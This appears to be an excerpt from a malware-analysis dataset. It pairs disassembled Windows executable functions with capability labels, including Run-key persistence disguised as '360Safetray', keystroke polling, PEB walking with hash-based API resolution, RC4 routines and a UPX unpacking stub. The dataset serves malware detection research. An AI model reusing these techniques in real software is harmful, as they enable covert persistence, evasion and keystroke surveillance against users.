joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40f3d2
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00408d1c
and dword [ebp - 4], 0
cmp dword [0x43483c], 0
mov ebx, eax
jne 0x40f483
push 0x402d5c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40f534
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x402d50
push edi
call esi
test eax, eax
je 0x40f534
push eax
call fcn.00408caa
mov dword [esp], 0x402d40
push edi
mov dword [0x43483c], eax
call esi
push eax
call fcn.00408caa
mov dword [esp], 0x402d2c
push edi
mov dword [0x434840], eax
call esi
push eax
call fcn.00408caa
mov dword [esp], 0x402d10
push edi
mov dword [0x434844], eax
call esi
push eax
call fcn.00408caa
pop ecx
mov dword [0x43484c], eax
test eax, eax
je 0x40f483
push 0x402cf8
push edi
call esi
push eax
call fcn.00408caa
pop ecx
mov dword [0x434848], eax
mov eax, dword [0x434848]
cmp eax, ebx
je 0x40f4db
cmp dword [0x43484c], ebx
je 0x40f4db
push eax
call fcn.00408d25
push dword [0x43484c]
mov esi, eax
call fcn.00408d25
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40f4db
test edi, edi
je 0x40f4db
call esi
test eax, eax
je 0x40f4d2
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40f4d2
test byte [ebp - 0xc], 1
jne 0x40f4db
or dword [ebp + 0x10], 0x200000
jmp 0x40f514
mov eax, dword [0x434840]
cmp eax, ebx
je 0x40f514
push eax
call fcn.00408d25
pop ecx
test eax, eax
je 0x40f514
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40f514
mov eax, dword [0x434844]
cmp eax, ebx
je 0x40f514
push eax
call fcn.00408d25
pop ecx
test eax, eax
je 0x40f514
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x43483c]
call fcn.00408d25
pop ecx
test eax, eax
je 0x40f534
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40f536
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401c00
Capabilities:
Hash data with crc32

Disassembly:
push esi
mov esi, dword [0x40408c]
push edi
push 0x10000
push 2
call esi
mov edi, dword [0x4040c8]
push eax
mov dword [0x4053c0], eax
call edi
push 0x8040
push 2
mov dword [0x4053bc], eax
call esi
push eax
mov dword [0x4053f8], eax
call edi
push 0x400
push 2
mov dword [0x4053e8], eax
call esi
push eax
mov dword [0x4053d8], eax
call edi
mov dword [0x4053c4], eax
and dword [eax], 0
push 1
pop eax
pop edi
pop esi
push 8
mov ecx, eax
pop edx
test cl, 1
je 0x401c6c
shr ecx, 1
xor ecx, 0xedb88320
jmp 0x401c6e
shr ecx, 1
dec edx
jne 0x401c5d
mov edx, dword [0x4053c4]
mov dword [edx + eax*4], ecx
inc eax
cmp eax, 0x100
jl 0x401c58
ret

Function at 0x402ca0
Capabilities:
Encode data using xor

Disassembly:
mov ecx, dword [esp + 4]
test ecx, ecx
jne 0x402cb2
or eax, 0xffffffff
mov dword [section..data], eax
jmp 0x402ceb
mov edx, dword [esp + 8]
mov eax, dword [section..data]
push esi
mov esi, edx
dec edx
test esi, esi
je 0x402ce5
push edi
inc edx
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
mov edi, dword [0x4053c4]
shr eax, 8
mov esi, dword [edi + esi*4]
xor eax, esi
inc ecx
dec edx
jne 0x402cc5
pop edi
mov dword [section..data], eax
pop esi
not eax
ret 8
Function at 0x401341
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x420
push ebx
push esi
lea eax, [ebp - 0x10]
push edi
push eax
lea eax, [ebp - 0x420]
push eax
lea eax, [ebp - 0xc]
mov ebx, str.360Safetray
push eax
mov edi, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push ebx
mov esi, 0x80000002
push edi
mov dword [ebp - 4], ecx
push esi
mov dword [ebp - 0xc], 1
mov dword [ebp - 0x10], 0x208
call dword [0x4284d8]
cmp dword [ebp + 8], 0
mov dword [ebp - 8], eax
jne 0x4013a1
test eax, eax
jne 0x40141e
push ebx
push edi
push esi
call dword [0x4284e4]
jmp 0x40141e
mov ecx, dword [ebp - 4]
lea eax, [ebp - 0x218]
push 0x208
push eax
call fcn.004010ce
test eax, eax
je 0x401423
lea eax, [ebp - 0x218]
push str.safemon360tray.exe
push eax
call dword [0x4284d0]
lea eax, [ebp - 0x218]
push str.__start
push eax
call dword [0x4284e0]
cmp dword [ebp - 8], 0
jne 0x4013fd
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x420]
push eax
call dword [0x4283b4]
pop ecx
test eax, eax
pop ecx
je 0x40141e
lea eax, [ebp - 0x218]
push eax
call dword [0x4283b8]
pop ecx
push eax
lea eax, [ebp - 0x218]
push eax
push 1
push ebx
push edi
push esi
call dword [0x4284dc]
push 1
pop eax
jmp 0x401425
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x406a6c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push esi
call fcn.004267b6
mov ebx, dword [0x42836c]
mov edi, eax
lea eax, [edi + 1]
push eax
call ebx
pop ecx
mov dword [ebp + 8], eax
test eax, eax
pop ecx
je 0x406ae1
test edi, edi
jle 0x406aa6
sub esi, eax
mov ecx, edi
mov dl, byte [esi + eax]
xor dl, 0x13
mov byte [eax], dl
inc eax
dec ecx
jne 0x406a9a
lea esi, [edi + edi]
lea eax, [esi + 1]
push eax
call ebx
mov ebx, eax
lea eax, [esi + 1]
push eax
push 0
push ebx
call fcn.00426774
add esp, 0x10
test ebx, ebx
je 0x406ad5
push ebx
push edi
push dword [ebp + 8]
call fcn.004069e0
add esp, 0xc
and byte [esi + ebx], 0
push dword [ebp + 8]
call dword [0x428370]
pop ecx
mov eax, ebx
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x406ae6
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
push esi
call fcn.004267b6
mov edi, eax
push esi
push edi
push esi
call fcn.00406a21
mov eax, edi
add esp, 0x10
cdq
sub eax, edx
xor ecx, ecx
sar eax, 1
test eax, eax
jle 0x406b15
xor byte [ecx + esi], 0x13
inc ecx
cmp ecx, eax
jl 0x406b0c
and byte [eax + esi], 0
pop edi
pop esi
ret

Function at 0x408971
Capabilities:
Hash data with crc32

Disassembly:
push esi
xor edx, edx
mov ecx, 0x435208
push 8
mov eax, edx
pop esi
test al, 1
je 0x40898b
shr eax, 1
xor eax, 0xedb88320
jmp 0x40898d
shr eax, 1
dec esi
jne 0x40897e
mov dword [ecx], eax
add ecx, 4
inc edx
cmp ecx, 0x435608
jl 0x408979
pop esi
ret

Function at 0x40983d
Capabilities:
Hash data with md5

Disassembly:
xor eax, eax
mov dword [ecx], 0x67452301
mov byte [ecx + 0x68], al
mov dword [ecx + 0x14], eax
mov dword [ecx + 0x10], eax
mov dword [ecx + 4], 0xefcdab89
mov dword [ecx + 8], 0x98badcfe
mov dword [ecx + 0xc], 0x10325476
ret
Function at 0x425592
Capabilities:
Hash data with md5

Disassembly:
push esi
xor eax, eax
lea esi, [ecx + 0x5c]
push 0x40
push eax
push esi
mov dword [ecx + 0x18], eax
mov dword [ecx + 0x14], eax
mov dword [ecx + 4], 0x67452301
mov dword [ecx + 8], 0xefcdab89
mov dword [ecx + 0xc], 0x98badcfe
mov dword [ecx + 0x10], 0x10325476
call fcn.00426039
mov byte [esi], 0x80
pop esi
ret

Function at 0x17eb810
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x79f000]
push edi
jmp 0x17eb82a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x17eb831
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x17eb820
mov eax, 1
add ebx, ebx
jne 0x17eb843
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x17eb854
jne 0x17eb873
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x17eb873
dec eax
add ebx, ebx
jne 0x17eb860
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x17eb838
add ebx, ebx
jne 0x17eb86f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x17eb8c5
xor ecx, ecx
sub eax, 3
jb 0x17eb88b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x17eb8fa
sar eax, 1
mov ebp, eax
jmp 0x17eb896
add ebx, ebx
jne 0x17eb896
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x17eb864
inc ecx
add ebx, ebx
jne 0x17eb8a4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x17eb864
add ebx, ebx
jne 0x17eb8b1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x17eb8a6
jne 0x17eb8c2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x17eb8a6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x17eb8e4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x17eb8d6
jmp 0x17eb826
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x17eb8e4
add edi, ecx
jmp 0x17eb826
pop esi
mov edi, esi
mov ecx, 5
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x17eb902
cmp byte [edi], 0xa6
jne 0x17eb902
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x17eb907
lea edi, [esi + 0x13e7000]
mov eax, dword [edi]
or eax, eax
je 0x17eb97f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x13ed01c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x13ed198]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x17eb934
mov ecx, edi
jns 0x17eb963
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x13ed19c]
or eax, eax
je 0x17eb979
mov dword [ebx], eax
add ebx, 4
jmp 0x17eb951
call dword [esi + 0x13ed1ac]
mov ebp, dword [esi + 0x13ed1a0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x24f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x17eb9b3
sub esp, 0xffffff80
jmp 0x6ed900
Function at 0x40318c
Capabilities:
Access peb ldr_data
Resolve function by hash

Disassembly:
push ebp
mov ebp, esp
jmp 0x4031a5
nop
cld
xor edx, edx
mov edx, dword fs:[edx + 0x30]
mov edx, dword [edx + 0xc]
mov edx, dword [edx + 0x14]
mov esi, dword [edx + 0x28]
push 0x18
pop ecx
xor edi, edi
xor eax, eax
lodsb al, byte [esi]
cmp al, 0x61
jl 0x4031c4
sub al, 0x20
ror edi, 0xd
add edi, eax
loop 0x4031bb
cmp edi, 0x6a4abc5b
mov ebx, dword [edx + 0x10]
mov edx, dword [edx]
jne 0x4031b3
mov eax, ebx
leave
ret

Function at 0x4031ea
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
add esp, 4
mov esp, ebp
pop ebp
jmp 0x40320c
nop
pop edx
pop eax
pop ecx
push edx
pushal
mov ebx, eax
mov edi, ecx
xor al, al
scasb al, byte es:[edi]
jne 0x403218
dec edi
sub edi, ecx
xchg ecx, edi
mov eax, dword [ebx + 0x3c]
mov esi, dword [ebx + eax + 0x78]
lea esi, [esi + ebx + 0x18]
lodsd eax, dword [esi]
xchg edx, eax
lodsd eax, dword [esi]
push eax
lodsd eax, dword [esi]
xchg ebp, eax
lodsd eax, dword [esi]
xchg ebp, eax
add eax, ebx
mov dword [esp + 0x18], edi
mov dword [esp + 0x14], ecx
dec edx
je 0x403267
mov esi, dword [eax + edx*4]
add esi, ebx
repe cmpsb byte [esi], byte es:[edi]
je 0x403253
mov edi, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
jmp 0x40323d
shl edx, 1
add ebp, edx
movzx eax, word [ebp + ebx]
shl eax, 2
add eax, dword [esp]
mov eax, dword [ebx + eax]
add eax, ebx
pop ecx
mov dword [esp + 0x1c], eax
popal
ret
Function at 0x40f2e0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x46c16b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.00460d82
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x40f362
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0045ec5d
mov eax, dword [eax]
push 0x486c5c
push eax
call fcn.00451ac4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0046100d
test bl, bl
je 0x40f362
push 0x486c5c
lea ecx, [esp + 0xc]
call fcn.0046139d
push 0x486c68
lea ecx, [esp + 0xc]
call fcn.0046139d
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x40f39e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0046100d
jmp 0x40f469
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x40f422
lea edx, [esp + 0x7c]
push 0x486c64
push edx
call fcn.00451ac4
add esp, 8
test eax, eax
je 0x40f422
lea eax, [esp + 0x7c]
push 0x486c60
push eax
call fcn.00451ac4
add esp, 8
test eax, eax
je 0x40f422
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40f3b2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0046100d
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x40fc70
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x40fcd2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x40fce0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x46c1eb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x48d3c8]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x40fe18
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x40fd46
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0046100d
xor eax, eax
jmp 0x40fe8f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0046114a
push esi
lea ecx, [esp + 0xc]
call fcn.004613d9
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x40fe6d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push accept
call fcn.0040fc70
test eax, eax
jne 0x40fe6d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push accept
mov ecx, edi
call fcn.0040fc70
test eax, eax
jne 0x40fe6d
lea eax, [esp + 0x14]
push 0x486c78
push eax
call fcn.00452b00
mov esi, eax
add esp, 8
test esi, esi
jne 0x40fe4c
lea ecx, [esp + 0x14]
push 0x486c74
push ecx
call fcn.00452a80
mov esi, eax
add esp, 8
test esi, esi
jne 0x40fe4c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x40fe4f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.004610fa
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x40fd5e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0046100d
xor eax, eax
jmp 0x40fe8f
mov byte [esi], 0
push 0x486c70
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0046100d
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x421550
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x4215be
cmp si, 0x69
ja 0x4215be
add esi, 0xffd0
cmp si, 0x11
je 0x42158e
push 0x11
call edi
test ax, ax
jge 0x42158e
or esi, 0x2000
cmp si, 0x10
je 0x4215a3
push 0x10
call edi
test ax, ax
jge 0x4215a3
or esi, 0x4000
cmp si, 0x12
je 0x4215b8
push 0x12
call edi
test ax, ax
jge 0x4215b8
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x4215cb
mov esi, 0xbd
jmp 0x42157f
cmp si, 0x6e
jne 0x4215d8
mov esi, 0xbe
jmp 0x42157f
cmp si, 0x6f
jne 0x421579
mov esi, 0xbf
jmp 0x42157f

Function at 0x422d80
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x49da88]
xor edx, edx
cmp eax, edx
jne 0x422da6
xor eax, eax
mov byte [eax + 0x49d988], al
inc eax
cmp eax, 0x100
jl 0x422d8e
mov dword [0x49da88], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x49d988
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x422e37
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x422e0a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x422dd8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x422eb0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x422f03
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x422eea
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x429b50
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x429ce8
cmp ebp, ebx
jle 0x429ce8
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x429bae
dec eax
or eax, 0xfffffff8
inc eax
je 0x429bb5
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x429bc4
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x429bcb
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.00460d4e
add esp, 4
cmp eax, ebx
je 0x429bec
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.00460d4e
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x429cde
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x429cc5
mov al, byte [edx]
cmp al, 0xc0
jbe 0x429cb1
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x429ca6
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x429cb4
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x429cb4
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x429c50
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x429c41
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x42cd10
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x46d5e8
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov edi, dword [esp + 0x44]
mov esi, ecx
test edi, edi
jne 0x42cd49
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
push 0x400
lea ecx, [esp + 0xc]
call fcn.004686fb
mov eax, dword [esp + 0x40]
push 0
push edi
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0
call fcn.00468747
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
mov edx, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
push eax
lea edx, [esp + 0x20]
push ecx
push edx
mov ecx, esi
call fcn.0042cdd0
lea ecx, [esp + 8]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.00468784
mov ecx, dword [esp + 0x30]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24